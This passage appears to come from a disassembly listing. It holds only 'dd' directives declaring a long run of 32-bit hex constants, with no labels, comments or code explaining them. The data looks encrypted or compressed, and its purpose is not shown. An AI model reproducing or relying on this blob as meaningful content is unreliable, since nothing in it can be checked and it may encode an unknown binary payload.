		dd 0A9D66DEDh, 0C9073452h, 430F81BDh, 5363E2C0h, 0FA8038B7h
		dd 9F0E045Bh, 922CD028h, 0B612C00Eh, 460E31FBh,	0D4F67E43h
		dd 0A72CE9C2h, 39200E48h, 162D732Fh, 0E3485B67h, 2754485Eh
		dd 0E1C92465h, 4F1FDAFh, 76127933h, 0C12A1482h,	87351128h
		dd 0EA2353D1h, 7F8E680Bh, 31C81675h, 0F60B5BE9h, 0DA0585D2h
		dd 0E61CC280h, 0B08840FDh
		dd 6086B0E3h, 0A7F3E194h, 26CF9C17h, 0C892B65Ch, 3305FD0Eh
		dd 7CD0AF30h, 12B247A0h, 0E0EAC170h, 6F54B045h,	645B6182h
		dd 0BAEBB831h, 0F5E16180h, 5729AF51h, 3B74DF8h,	83C7B4CEh
		dd 0FD64CBE2h, 42EE5DD5h, 1E7B68A2h, 0DE2E3877h, 0DCDFC137h
		dd 0E926E480h, 7A74759Bh, 0E9F031E8h, 0D99D7750h, 0EE589D3Ch
		dd 65CBC140h, 76016FE0h, 530E42B9h, 6FF2A52Eh, 880EBDB2h
		dd 0E16E51CCh, 0AC59CAA4h, 87EEA599h, 49F6D73Eh, 922C7955h
		dd 6B03A120h, 70C29384h, 0E185661Bh, 0A2161362h, 5D2BFAC4h
		dd 20D9680Ah, 301789FAh, 0F3F07544h, 2C5EC4A9h,	0A5281062h
		dd 0CAE68101h, 3E453F47h, 627ABDC0h, 89E91307h,	829A34EDh
		dd 880865D4h, 0CD4A3202h, 17F6DC27h, 80A21F03h,	0EF2A7D0Dh
		dd 7E5EE979h, 56B84C09h, 440192E8h, 4E10831h, 0C7AD66h
		dd 1E1277E4h, 0E8BD9613h, 0F563FDEh, 0C5799EBEh, 0A6BAF001h
		dd 0FC2D0C11h, 0CCE81C0Ch, 5E13682Fh, 0A5F19A3h, 499492E1h
		dd 0F517DD29h, 0E1BBAC2Ah, 0A36314F7h, 251EA41Ch, 55679AFFh
		dd 0FDEA4E72h, 0D1E11848h, 3CD211DAh, 67D8E718h, 2CFCB0F5h
		dd 108A7AE7h, 1775465Eh, 509D2E8Fh, 3D4603AFh, 62BA4229h
		dd 121F0B4Ch, 0BBE5C57h, 0F024DD05h, 35A9BA46h,	0F604E2D0h
		dd 0E86F9973h, 0E3129359h, 0BC6FD0E5h, 27F45ECEh, 0C84854BDh
		dd 8257E552h, 0F1E05A65h, 0B71E5073h, 0A151507Ch, 0C705FCD0h
		dd 797AE90Eh, 29ADB15Fh, 0AF2D9393h, 91A5A287h,	0C70101D1h
		dd 0F43A5E21h, 18B05871h, 6215DD00h, 0B768FD7Eh, 1218B727h
		dd 9579E9h, 6BB3B92Bh, 313304EDh, 0E88959C8h, 2E9B15Eh
		dd 1DCCDC6Fh, 90AB2D4Ah, 0DA081C5Dh, 62052607h,	8E79A540h
		dd 7D2DFC04h, 2B5CB919h, 904868BEh, 1020D3C9h, 81160DD1h
		dd 65AC6A5Dh, 0C0E2D184h, 0D17DDDCh, 5DE0435Fh,	5CD27DF7h
		dd 8F0203EAh, 525EE712h, 2700C6DDh, 525B0285h, 0B02562Fh
		dd 30550C4Bh, 2CAD3CF0h, 341135Bh, 2C1C1ED1h, 0B97AEBE2h
		dd 3A55029Fh, 0BF7C55F7h, 0ABC18FC9h, 496F886h,	0E123CBBDh
		dd 0CF58830Eh, 9AE90D09h, 88CE799Eh, 53287AB2h,	825F2B03h
		dd 0FD1F74Dh, 2FBD5504h, 45418DA3h, 497A4805h, 990950A8h
		dd 0ADEFDB76h, 59C4027Fh, 3895D550h, 745A312Eh,	0FDB9505Eh
		dd 74252614h, 7B4827FDh, 52578990h, 9D2D9381h, 74E02B07h
		dd 567D28D2h, 12DCEC9Ch, 11FFA44h, 0F9782E7Dh, 0A00C816Fh
		dd 8994168Ch, 5F2BB43Bh, 894F4797h, 0E7828864h,	0DADCA772h
		dd 84CF6863h, 312969EEh, 54F16E2Eh, 0B63E121Dh,	0F2EB9255h
		dd 0CBFBE45Dh, 2A7810AFh, 25575327h, 0DD014D0Ch, 11C3599h
		dd 56D2D32Ch, 0D7ED1F0Dh, 0AFBD33h, 49F30666h, 4C504659h
		dd 10BE857h, 65D43EBEh,	8C497925h, 0EB39A13Ch, 3F5F4A09h
		dd 0FC51085Bh, 0EBC40820h, 1AC82E9h, 0ADA42C12h, 0DABF9239h
		dd 520899A3h, 5B8F4520h, 936AD895h, 0B20B90BAh,	75D128C4h
		dd 0C91D35C5h, 1DEED593h, 7F783916h, 91C7959h, 5BB652D0h
		dd 91E64EE8h, 259370BDh, 455D9066h, 0C55B929Ah,	0B38FFF65h
		dd 0D9490120h, 7F037CF7h, 3108470Dh, 0C8FCE2CEh, 7288533Ch
		dd 15BF0F7h, 80C4FE5Ah,	0B83063F4h, 2CE33412h, 50AE09BAh
		dd 6E582539h, 0E95AF9CAh, 88BB26FFh, 0E8525889h, 9D8AA82Ch
		dd 3D56CA91h, 0D4E9F350h, 0BFB35DB0h, 0EF7AA0D8h, 0AEC4CC27h
		dd 3BD5E43Bh, 4E067D0h,	767F0505h, 0C431AF6Bh, 1964A014h
		dd 1EBC8B9Dh, 6CE92C7Ch, 0C9F4A719h, 0C104AB24h, 0C3C008E2h
		dd 14268566h, 0EAD32984h, 20FB01B1h, 6F13663Ch,	0F8ED68CEh
		dd 5915E486h, 0DF87FA06h, 0ED08D3F7h, 0CAC7C0E2h, 0A307183Fh
		dd 60696A7Eh, 5E015C2Fh, 85BE92D6h, 72C0AEEEh, 20344AEh
		dd 8EC98165h, 0F5134Dh,	0D04FB2AFh, 280ABC62h, 405E9F00h
		dd 0D8CEE93Ch, 4EB0208Fh, 0C475BA07h, 64FCF5F3h, 68D740A2h
		dd 183A722Fh, 0C93BCA94h, 2AF7051Ah, 5A3B72A0h,	9C621431h
		dd 0FF6C747Eh, 88BA3725h, 1240A1AAh, 5A80F0B3h,	4713F0E3h
		dd 3B307BCDh, 4115EB60h, 35916B20h, 413F3C1Ch, 6070AF3Ah
		dd 0D0D12F56h, 5A0238CDh, 567D306Ch, 0E409B55Bh, 7C810209h
		dd 4EB2011Ah, 1BE3E30h,	0E828407Ah, 51EE7059h, 9D21BB7h
		dd 0A2B45012h, 828D8504h, 0D00B5732h, 47320910h, 0BC017D84h
		dd 30831196h, 183EEDEFh, 12065C10h, 0F7EF3573h,	0BD11D38h
		dd 0F97F654h, 1ABB2301h, 6812A1ACh, 0A62F34E8h,	0F4FE109Ch
		dd 0C106C858h, 789A63EAh, 0EB13ECFAh, 0E2BB6457h, 33FFC046h
		dd 9A5913E9h, 0D0CA076Ch, 0B2695214h, 15643549h, 0A670CC1Fh
		dd 809C7467h, 58117DC6h, 68174E34h, 30AA4A3Fh, 0FE0BD02Eh
		dd 7C31492Fh, 68F60341h, 56103563h, 844F5DA7h, 0B2C2067Dh
		dd 5C661210h, 1C8F30Ch,	0C1DFF747h, 0D88106EFh,	7A0046E7h
		dd 336D2D3Dh, 2801556Eh, 7D0705F8h, 2D63F65Fh, 43D45037h
		dd 9C22E984h, 2EE26DEFh, 0F54E168Bh, 16FA2F5Dh,	0FFDDAE3Ah
		dd 0CBD9627Ah, 94DE32CAh, 2588AB8Bh, 1FFA1B24h,	61B25076h
		dd 0A55B6F80h, 9698A47h, 7DFDC243h, 8095142h, 38B5C84h
		dd 9CDA0966h, 0E90060EBh, 0A69DD175h, 0A00D3236h, 97D837Ch
		dd 0D5F72DFAh, 6AA12050h, 94CC7A22h, 52EB96C3h,	38EE6919h
		dd 882D0213h, 0DC53CA4Dh, 0D5DC95C6h, 0E992785Eh, 0DFAD4427h
		dd 670703ABh, 5E06A30Bh, 334D26F7h, 3AFCF503h, 0E7010E9Ch
		dd 16FFD4D4h, 302CFFAAh, 0B71270B9h, 7DFAE1F4h,	733A53E1h
		dd 4B564C03h, 0EE9394BAh, 0BD4A38CAh, 50DC9331h, 0D54162BBh
		dd 9ADFD802h, 0B55B570Bh, 0F6D2C6E9h, 4ABE801Eh, 60896C13h
		dd 9F3241EBh, 3E16181Dh, 31EF7CC4h, 6E47429Ch, 2704BFCDh
		dd 0F8C156C4h, 1059F8Eh, 0DD1061D0h, 72030350h,	0EA80B55Ch
		dd 96FAC8B1h, 46FDE919h, 4EF83530h, 29821721h, 8060AEC2h
		dd 0BDA720E9h, 692D97C6h, 0C8BBF606h, 517E03BCh, 0B0487A91h
		dd 5A084069h, 54CDEFFh,	85E59E41h, 0BF7A242h, 0EE9626F4h
		dd 2C5D5605h, 5F5A7A0Bh, 893EFFEEh, 0EC8AFF0h, 76EA0B68h
		dd 0B064176Ch, 71F15C9Eh, 0B3C720B6h, 8858737Fh, 319F10F8h
		dd 0D02F9351h, 6AD3681Eh, 67089897h, 5A36F46Bh,	10E4FC29h
		dd 0B7047DADh, 0A252665Bh, 0ABB5807Fh, 2D7C580h, 859EE88h
		dd 5C5D66F7h, 802D1ABh,	0B7A9C466h, 0B3E0EBB9h,	0BCC74E08h
		dd 0FDF71350h, 0A92F3729h, 88AB933Dh, 30277D57h, 0A54475EFh
		dd 5996372Fh, 5C18230h,	0A0DF7C6Eh, 914EFB3Dh, 9E2EC63h
		dd 1E31681Ah, 92555A84h, 8184D989h, 0D0EB13A0h,	48BCD79Ah
		dd 0CB21E601h, 5F156859h, 0F1CC373Ah, 88DF9CDEh, 0A7B30582h
		dd 5692A7DEh, 0D89F00FEh, 2D590D0Bh, 94286903h,	0DAE9407Eh
		dd 9F6064D4h, 9A422CCAh, 74A76354h, 81058E9Fh, 9199FEC7h
		dd 65F0E930h, 7277F2D6h, 0E8E125BDh, 7FF887E6h,	0B3EABD8Bh
		dd 14106961h, 0C0E92FF5h, 5DA937C3h, 0D40AAF0Eh, 3788CEB6h
		dd 5FAE5318h, 2CA22605h, 593D0565h, 73A0F08Eh, 9826BB81h
		dd 0CB561805h, 6F1AB02h, 0FF290802h, 0F72636C7h, 0FF83F31Ah
		dd 21ACB7DBh, 0CEBA1C35h, 45C44A33h, 1EA9B7E5h,	37444CA9h
		dd 0E7EDC062h, 25BA710Dh, 0D6990AC3h, 0B7A5F806h, 2822D797h
		dd 0D009DCD7h, 7291255Dh, 80C509E9h, 7EC42D45h,	90C15AD9h
		dd 7D357163h, 0E91F0D30h, 2E24FA40h, 0DDC961F1h, 5D909D40h
		dd 0A1385BF0h, 64E52F6Dh
		dd 9DED1C81h, 604E4155h, 7F824A0Eh, 527630Ah, 0FCF26F62h
		dd 86504C9Ch, 91A13E0Dh, 61710C28h, 7F9D5D12h, 0A7846411h
		dd 0D7C07714h, 109EA80h, 7F5AD328h, 0C081F921h,	0C88141E3h
		dd 5ED1766Dh, 265C00AAh, 0E93A3216h, 207A952Dh,	3F57B6BDh
		dd 5069B049h, 59A2435Dh, 50F21EDFh, 0E3D45E57h,	104A3E4Bh
		dd 755344A0h, 7FF07750h, 7D527BC3h, 5AF127DEh, 0FEBDA558h
		dd 1337971h, 19A0E6E9h,	26A52F82h, 0AA251EF2h, 3D2A5358h
		dd 896E7F1Fh, 987F2489h, 600CE9E6h, 99CAEDB3h, 3C4BD31Eh
		dd 0D7A830BEh, 5F4CFA87h, 3FDD0431h, 5480415Ch,	0B941492h
		dd 2CB6E96Bh, 20E5147Dh, 6F9F3FC5h, 0CEED0BC1h,	68120166h
		dd 28FA6064h, 0E9185078h, 0F1431D14h, 16C81E0Ch, 0E3EEC81Eh
		dd 760E2225h, 25B055Eh,	8E3B37EBh, 0E76F2640h, 0E1EAB080h
		dd 42C23B21h, 0A8D85D11h, 0F229D44Bh, 0BFF8E0C2h, 19799DF1h
		dd 0E826D089h, 0D646647Bh, 84A2F86Fh, 407770Ah,	0E113723Bh
		dd 294D6266h, 0D140103Dh, 0FBD0BD78h, 5717559Fh, 5D94A50Ch
		dd 0D0F6183Fh, 0B3C8666h, 78B8FA82h, 0D40182E6h, 20444B5Ah
		dd 5CB8C2C8h, 0F2EFFD41h, 51D0DFEFh, 3C2669A1h,	0D8EED26Bh
		dd 66EF6896h, 5BE90B12h, 5A1C7D3Ah, 1ED7BC80h, 0D14D430Fh
		dd 782DCEDh, 411D917Dh,	0BF2BC7E1h, 56AD3E20h, 6E526847h
		dd 125F1206h, 7DE3219Ah, 7A172453h, 0C9770B5Ah,	435168E1h
		dd 276E238Ah, 0E2FD499Eh, 49D0FCF8h, 0EA285975h, 2F6C433Fh
		dd 8BE3EB85h, 0DA3D8D94h, 0D1387405h, 7FBCF1EFh, 0F94086B1h
		dd 4F174A4Bh, 801FC58Fh, 2CFBB6Bh, 0B92DC902h, 41F15D1Eh
		dd 0AF34E499h, 770CB55Ch, 76B410C4h, 0B6ACAC2h,	415487F5h
		dd 9BA10B95h, 2F40A17Fh, 0F6EE9229h, 67350436h,	5FEF814Ah
		dd 92286F03h, 2D547E53h, 9451FA80h, 4E1A5D72h, 44206A6Eh
		dd 31AC7656h, 0F3B16BB7h, 2CB6BD5Eh, 0E8A4B0FEh, 9C713501h
		dd 0C16BEDB5h, 4C234A6h, 4A8AEh, 6DF815F3h, 12DF890Fh
		dd 0BC7AE3E9h, 2912D238h, 7262FE54h, 390BFA3h, 2A4ECB68h
		dd 9FF5733h, 5BDF0103h,	13127400h, 894EA5B7h, 97B94CBh
		dd 0E32DE9C1h, 50A25155h, 5BBE32E9h, 0BCCD5D27h, 4E91D7A5h
		dd 4B362C5Ch, 3A6D2DBEh, 91CE64EBh, 7F796808h, 0ADD13610h
		dd 0B48CB93Ah, 0E03353AAh, 0E93F5679h, 31B75B1Ch, 407E2258h
		dd 0AE09B796h, 5C28EEB6h, 5166586Eh, 78F62AB0h,	52660E83h
		dd 0C22580B2h, 0E113FEF7h, 0FD0E81EAh, 1C87285Bh, 0F53972EEh
		dd 0A0B6C675h, 8DD2D145h, 946EFF5Bh, 28ECCD4h, 2FF5521Eh
		dd 0A7EAFD5Bh, 403DEAFDh, 9586B7F9h, 0A15419D4h, 0C92B45A1h
		dd 1EED2062h, 7F739297h, 65D70ECAh, 0E704BB84h,	81FD6041h
		dd 6EB4637Ch, 5C8B5BF3h, 0E98430F7h, 0AD664DE8h, 8546528Fh
		dd 590F14EAh, 41A4B151h, 0C6FE5CB6h, 81D8E41h, 0C1D80471h
		dd 0FD769D32h, 5034E53Eh, 0C065AF1Eh, 59D6E919h, 0CF2E24FBh
		dd 0D02F0C04h, 0B00DE69Bh, 0A6648254h, 0F717BC0h, 0E9DEF770h
		dd 0EF27856Ch, 3F1C4F09h, 4191DE0Ah, 7A4002E9h,	0C10738D2h
		dd 0BB0444AAh, 5AC465C4h, 918E482h, 93249145h, 0C6D1D02h
		dd 5D2413Dh, 80563730h,	0E64CC058h, 0E029254Eh,	95BC68A6h
		dd 66200E52h, 30039765h, 74D1C7EAh, 898A7ABDh, 1668151Ah
		dd 6609806h, 0B4E1BA5Ah, 0D7E7C2F6h, 0FEC1FCCAh, 2CE3E438h
		dd 880E0CC1h, 44215BDDh, 0E6459801h, 2C2ACE10h,	9220363Dh
		dd 0BBCCC7BDh, 647900FCh, 65685063h, 63EFC321h,	0B4C95CF8h
		dd 0AC4C94BEh, 0F80486Fh, 1C9C8805h, 3019FFECh,	0E06BE5BFh
		dd 0B9D38BEh, 5E3CCC0Bh, 80ED9858h, 0DD8CF127h,	2442C111h
		dd 4D9D5C00h, 22440B64h, 504734FDh, 65AD852h, 0BA0A5042h
		dd 294B0B5Eh, 0E9C215A2h, 18579D7Fh, 0BF177867h, 0F5028FCAh
		dd 9E9A426Ch, 0AB9C0375h, 0A6BA844Ah, 0E1E2967Fh, 9AD2E982h
		dd 69CAD955h, 7742082h,	0B3869D0Fh, 20346105h, 0BB78DC95h
		dd 0EF39CF00h, 15BDE89h, 4155FECEh, 0DCEEDD66h,	43C9215Eh
		dd 0CEC075C1h, 2BFF885Fh, 3E280BE7h, 8FF73E36h,	6B89128h
		dd 5D354AE7h, 443B1827h, 90033320h, 0F0C0D5Bh, 35EF901h
		dd 0EEF25F08h, 659FC770h, 4EF588CEh, 0BA645E16h, 4C8F75F9h
		dd 0E06EC6E5h, 5EA4342h, 7A636814h, 0B951C0A8h,	1D852FBh
		dd 0DBC9814Dh, 9F4CF947h, 0AD3DAD0Ch, 0F41FDA5Bh, 20CC09F1h
		dd 9F72B40h, 0EC2057DDh, 796C0CC6h, 8293B27h, 1C9D465Ah
		dd 0BD9655ADh, 0F7E7E917h, 0D809A8B2h, 0F1DE5E5Bh, 4C4A920Eh
		dd 9026A053h, 89462DA6h, 18E64570h, 4A63193Bh, 80FC3EEh
		dd 77661606h, 10C1023h,	350F7FBCh, 3F518AE9h, 0EA3E39DDh
		dd 4B89ED28h, 2199D8EFh, 0E9C102B9h, 0DD223F73h, 39462F77h
		dd 0CD7CB34Eh, 4917C74Fh, 8B8A9ABDh, 0B4E984BBh, 9E6BD176h
		dd 0D2CE3F5Ah, 0FFB89C09h, 6486F9D7h, 5076A07Eh, 8955E5BFh
		dd 737DD67Fh, 74AE2C4h,	6FD27E5Dh, 142E1446h, 37C6BE00h
		dd 0F7214EA8h, 6D68175Eh, 539F635Ah, 90AA8C0h, 0AF5FC3B8h
		dd 0F6AFD212h, 2D624C07h, 89D59915h, 13B81E80h,	5108D2Bh
		dd 72D4EC02h, 744729EFh, 9737428Bh, 0EC96BACAh,	64A6098h
		dd 6DAD89BFh, 0A9838B65h, 0F1FBD750h, 32E516BFh, 24D3B448h
		dd 7E17093Ch, 2780324Ah, 0DD83ABC3h, 4B0B024Dh,	6AAD8DAAh
		dd 0AAE4A1B9h, 0F5C03EE2h, 74B73FCCh, 82DDF724h, 0E329443h
		dd 782A6828h, 0CDFE674Bh, 4F84E978h, 0C938AE09h, 0BE8740DDh
		dd 0F343770Fh, 0FF14516h, 36CE91A8h, 5199AE32h,	4FD6B27Fh
		dd 135FDBAFh, 50EC34A8h, 0AFDA0C9Eh, 7B75C28Dh,	2FBEF3Bh
		dd 625690EBh, 4A28D519h, 12ED2608h, 702BA41Dh, 0DC6B3E25h
		dd 5FC002BDh, 90D522ADh, 555195h, 97760F68h, 0E5C15D29h
		dd 41FB024Bh, 243E602Ah, 0BF863B75h, 0C5380112h, 0CAE95A14h
		dd 1C413A3Fh, 67B82B6Ch, 1DA1B530h, 8057D15Eh, 0B77411E1h
		dd 749D411Fh, 0D89165Dh, 6FC23FF2h, 4B01CAF4h, 0D441AACBh
		dd 5723685Ch, 10B5F76Bh, 0EC7776B8h, 9F4276D9h,	9D3A945Fh
		dd 274CBF22h, 4127F80Bh, 0D9A47F2Ch, 2F4D41A4h,	1BA5824h
		dd 372D4B62h, 0BBE27F2Eh, 22B61A1h, 59B09068h, 204F3101h
		dd 0B618AAh, 3D2388BAh,	0E6174E92h, 61F02774h, 7E67162Ch
		dd 8048CA5h, 14B72AFCh,	0F82807C3h, 5B66CDB1h, 0F0A3BC7Eh
		dd 0C787F9E9h, 0F388E269h, 0F2B03B51h, 0B25B4697h, 50017DEDh
		dd 0A17916B8h, 5BC87A59h, 0D9C904E0h, 0BBD5896Ah, 0D09ED562h
		dd 91B49F5Dh, 0E7C5B25Fh, 7FF63DBBh, 61107AB2h,	65EC5E03h
		dd 0C865689h, 0ED05B910h, 118A32B1h, 42FA8EEAh,	98BAD393h
		dd 6499D0F1h, 0CBD7746Bh, 8B1C8226h, 660DBB04h,	0D0C204CFh
		dd 0A4C07F5Bh, 99006C90h, 7E8CBE2Eh, 25E9F358h,	0ACD62CE1h
		dd 89BAEA4Bh, 6E0D5CDh,	0B0BDCA01h, 0BE5EE537h,	0AB62CBF7h
		dd 96FDAE29h, 0CE9179Eh, 3B842042h, 0E41A4B1Bh,	0F4B4CD21h
		dd 3EBC25F0h, 4464E91Ch, 0D03FDE2Fh, 504D70E9h,	782F1788h
		dd 0F193E2A2h, 0F3878188h, 0A5CBC0A6h, 5428B3Eh, 2F1D727Bh
		dd 0EB4DA0AEh, 9943509h, 2D8DFC91h, 0E9E1295Eh,	7DA040A6h
		dd 15F1F26h, 850256FEh,	80E4FAA7h, 0ACB75BD2h, 39B2C1D9h
		dd 0E13F677Fh, 457220C5h, 47733179h, 90E5A0BFh,	0EEFC7Ch
		dd 1A3EBA52h, 0B0057324h, 320E2016h, 70610BAh, 8009AA40h
		dd 2818772Ch, 0C07C58C3h
		dd 252B908Dh, 0C87233E9h, 20C6E104h, 99A276F1h,	1C3607C0h
		dd 0EE4BD10Dh, 1265E388h, 0AE0EFA10h, 7C53B2h, 0A76D9EEEh
		dd 0E2B5E995h, 0A0337B1h, 0D928CF75h, 0D46A5D39h, 5EAA1952h
		dd 0AF0F2072h, 0B8782E60h, 7A1E12E7h, 938954C1h, 7949582Ch
		dd 0B944C786h, 17BAC34Eh, 3D5D609Fh, 284C2D48h,	0AC05FF9h
		dd 4C452135h, 94015442h, 0F726D403h, 40C32BD7h,	92CFE047h
		dd 5E9D2440h, 8BC51366h, 18A984F4h, 2B5F5209h, 8AE7DF79h
		dd 49DEA9h, 991B8257h, 22A5C03Dh, 0F7814F2Bh, 0AE79410Ah
		dd 0F200F51Fh, 316D1C40h, 77E919D7h, 0C1EA912Dh, 2BC0EDF3h
		dd 5085E6E1h, 0AB0125h,	56FFEEE4h, 5AB71E53h, 5D088283h
		dd 0FCA28B16h, 532772FAh, 0C196CABBh, 0BE02AF1Ah, 0D0C4295Fh
		dd 172C4BFAh, 523AF080h, 0D4BA58F2h, 0A5D6293Bh, 0B37A821Fh
		dd 2BB17201h, 4CA608F2h, 701D10B2h, 0F68034CFh,	0EAD03AADh
		dd 0FCF14801h, 0B74E8931h, 0E41A6151h, 779565D5h, 8AC9C093h
		dd 3EDB4A3Bh, 0F5342E57h, 668C01BDh, 377A685Ah,	0E04CE507h
		dd 0EB2580D6h, 0EB3372CEh, 0EB861092h, 346DDF81h, 8470E92Bh
		dd 0F2BF58C7h, 0DB13D34Ch, 0D134E2C7h, 0E4E98E80h, 0EE599D67h
		dd 7A3FEB40h, 0F5244F0Fh, 0BA080573h, 0F35A29A6h, 9FA4A529h
		dd 2A9C5CF3h, 5E2F7139h, 7EADF4E1h, 0F87A18CDh,	0FCAC9E9Fh
		dd 406D4882h, 4E69640Ch, 0B9C20036h, 39CC05EEh,	6299E097h
		dd 356F750Fh, 0AB209343h, 94AADE0Fh, 2CAB5E88h,	0F7054E2Eh
		dd 61EB68D6h, 0F17BF56h, 0B4C44A2h, 93A2C605h, 5C03AAEEh
		dd 17791868h, 9921342Dh, 6EFEE823h, 0A373EEF5h,	0DDE21D2Ch
		dd 3EFC083Ch, 0D8DE7EADh, 6D99E9C1h, 7C3DCA6Eh,	0DE1AB62Fh
		dd 0D7EA6048h, 6C18A34Ah, 0C6225729h, 1987821Bh, 52600E4Ch
		dd 0E6C001B6h, 0CE4C087Bh, 3B51611h, 0AC498C64h, 1666D08Bh
		dd 8DDF766h, 7C2DD707h,	5DEE8B0Bh, 9970996h, 70C45DF5h
		dd 73BF0327h, 2A7BAF41h, 23618B3Dh, 284DC03h, 536810C7h
		dd 8E0126FCh, 0E8E9AFB4h, 0FA18123Ah, 1DC454B2h, 0FDD9D1ABh
		dd 0DF183C5Fh, 0CC207397h, 4B5E77C7h, 4B0C84F8h, 3AA058CBh
		dd 32713040h, 6ABE82C0h, 0D890E14h, 92A7E9CEh, 72123E5Dh
		dd 2C3F91FBh, 0DEC17D67h, 41C0B1D2h, 13FB5205h,	0BF2155DCh
		dd 6940AE40h, 5BC15979h, 5093F0EBh, 0FDCD031Fh,	1C6484FCh
		dd 0BEA456Eh, 0BBF05A7Eh, 2AEFD130h, 3FC325A8h,	621B5153h
		dd 8CE56480h, 2D5E5DE4h, 0CE8B26B8h, 0FEB79850h, 0F27C8BEEh
		dd 455E71Ah, 891FC736h,	14DF1254h, 0E3BD2E4h, 0BD04A50h
		dd 9A65A768h, 9672D559h, 75F32925h, 512F5E19h, 2E5F5ECAh
		dd 0FC3F94E1h, 100CA5D3h, 0B5FB994Bh, 30BC5EC0h, 977B31Eh
		dd 5F804872h, 0F3C65F99h, 3E0C04D9h, 0AF49DD0h,	0D139148Ch
		dd 881DD1EBh, 89E3C0FAh, 9820E9DAh, 58806AB7h, 4B7EF47Eh
		dd 0DEF3F917h, 6FF105D6h, 93BBE32Bh, 0C58DB6EBh, 0C6EC68E9h
		dd 0C3A2ED5Ah, 4FFEFDA6h, 51183018h, 0AC1E6856h, 5E93B339h
		dd 31073D53h, 0B7D48E19h, 0BB7200AFh, 0FC1227E3h, 4B16D696h
		dd 5C6BD497h, 1FC5AC6Eh, 52354DA5h, 1E8FDC58h, 5309072Ch
		dd 437F4900h, 6FEEC160h, 62616706h, 14AD2798h, 23E9BEC0h
		dd 0B9615E2Dh, 3C084124h, 7F072E82h, 85424812h,	7C7C68C3h
		dd 9B39881Fh, 0C0EABB17h, 1B5B0506h, 0D860DA25h, 7B078272h
		dd 28623315h, 0AEEACF02h, 7F73A27Dh, 872EEB21h,	6E50DA56h
		dd 2693896h, 82FCFB5Ah,	57EAC1ABh, 10AE09D9h, 2B658h, 66BD1FC1h
		dd 0E9252042h, 4B13AF7h, 3E56CF7Fh, 860E89BEh, 4F0D767Ah
		dd 79F17FC2h, 0C8C7F9C8h, 5B205081h, 4C670083h,	19D5B80Dh
		dd 0E91761DAh, 16C92ECBh, 58AFA32Eh, 1D315B89h,	0FE2B9FB8h
		dd 8C5F2B31h, 4F0E2A88h, 7E1C105h, 85AC01AFh, 2F7E5F7Fh
		dd 0C2687780h, 0B97FE130h, 0DA01C403h, 867DA9BFh, 3DF989F8h
		dd 511393C7h, 2E50BB32h, 0FA0C6908h, 88DEBCCEh,	591CB458h
		dd 535BDA01h, 0D8C9D388h, 0A5BCC5F9h, 7B1FCBBh,	6601BE2Bh
		dd 0CCBC4A0Bh, 4A9838B0h, 4E8884Ah, 0DE8CE983h,	6FBF4005h
		dd 8EE6312h, 661A9BD7h,	2F47F64Ch, 0FD341655h, 234807Bh
		dd 7A832A6h, 3ECD5F11h,	18BA0E6Ch, 168B77C3h, 282C8B35h
		dd 0FB20C232h, 24F777FEh, 807AA809h, 1A5A0F98h,	90BFD989h
		dd 97AC6B47h, 69CF4E7Eh, 0C6669065h, 1F69981Ah,	52F3282Ah
		dd 5441E0EAh, 7207EEC9h, 75F105DDh, 0AF6D7E69h,	97C31902h
		dd 0E7E8D759h, 511868F7h, 240C56F9h, 4F21ED18h,	65895660h
		dd 0FCD588CBh, 0FD688383h, 0B1D1251Ch, 0EDD20878h, 0C485A3ABh
		dd 8FFE285Eh, 97AB4FE8h, 0A28FFAEDh, 0ACB90ECh,	0BF13CC46h
		dd 2089208Ch, 6805667Eh, 3C98294Dh, 0BA7DEC2h, 0AB004C7Eh
		dd 31DEFBA1h, 6DCEB9DFh, 1BB07FD7h, 67B80150h, 357B7549h
		dd 39DDC0C9h, 762EAE9Dh, 5A53D942h, 0DDBE4A5Bh,	8948AEC5h
		dd 0F677422Dh, 50F95B57h, 0D9417F34h, 118A163h,	538CC33Fh
		dd 745559FAh, 0DDD3D226h, 37113C08h, 911474D2h,	6D5A54FDh
		dd 8C35F0B1h, 7A230B21h, 6ED8F9E9h, 2880C495h, 0B5C2FA71h
		dd 19BD887Eh, 0D06DB5ECh, 0FEFD657Ah, 76464F01h, 0F331255Fh
		dd 0F37AC631h, 5126416h, 0DDF22101h, 1EB86FDEh,	58CFAD4Ah
		dd 0C0251A1Eh, 5D02F563h, 0D40F86C8h, 62930681h, 251A1C4Fh
		dd 477128D2h, 5C44C24h,	2954D0EEh, 0A05AE9F8h, 63B1B2C1h
		dd 133FA161h, 4ECCAA86h, 0EA8731D5h, 2F66C266h,	5301DDB0h
		dd 0BF5E73D6h, 1D6F5329h, 0BFDE13BBh, 5D09DF41h, 27321C4Eh
		dd 0FF294DDh, 108C2D5Bh, 6A468488h, 0F449614Bh,	39F1DDF9h
		dd 0DF96C88Bh, 0BA525BC8h, 642575E2h, 8D047520h, 489A83F0h
		dd 7B4ADCC9h, 56818ABCh, 7B1E94E9h, 83296898h, 0BACD8DE9h
		dd 0F972941Ah, 9B312EFFh, 60EBBE17h, 57027E1Fh,	0FCE8134Fh
		dd 0BE34850h, 21373F7Ah, 2843285Ch, 0D3444AFEh,	0EB998EBFh
		dd 5260C28Dh, 0DE820AA5h, 50AE07DAh, 0E30E1B32h, 5C763093h
		dd 24E79E68h, 0C740E340h, 9357F04h, 58C2881Bh, 6EC094E9h
		dd 0BA26716h, 0F1F734B2h, 0AAC0A053h, 55F9119Ch, 4ADD2F3Ah
		dd 0DDE94030h, 13AFA9D8h, 0C825D83Fh, 58F54095h, 7031EE57h
		dd 0CC7E9719h, 6AE91A56h, 5E5D56DDh, 0F1F7706Fh, 650568E6h
		dd 0CA4DE91Ah, 18B8F753h, 0AD105FC4h, 70055E82h, 0D8AF5CEEh
		dd 140CA5Ch, 535101ADh,	5B45D768h, 0AA60CA64h, 0DC0B0F3Ah
		dd 2BC4E93Dh, 25F57CD2h, 2D5430D4h, 4FF9B988h, 7A8B088h
		dd 3A5AD52Ch, 4D80CF1h,	899FD32Ch, 31597F5Dh, 0A49ECEFh
		dd 3DDF5CF7h, 0B0150F05h, 5C24EA3Ch, 2F785FBBh,	3D502AE1h
		dd 0EE89DF66h, 55AC1905h, 1DE6A520h, 0A41C0B3Ch, 5F2882C6h
		dd 12D66320h, 68107D92h, 3BF14E99h, 0C938F420h,	3F5DA59h
		dd 4FDF68B0h, 5001AEEDh, 0BAF9E88Dh, 0F0605635h, 8E7D1732h
		dd 2E8E0D70h, 0BC163F0Dh, 0F247CCFFh, 8CAB064Bh, 959D5DBFh
		dd 1B092556h, 0B2C22DD9h, 0EAF35D0Bh, 0A9F77A8Bh, 62990448h
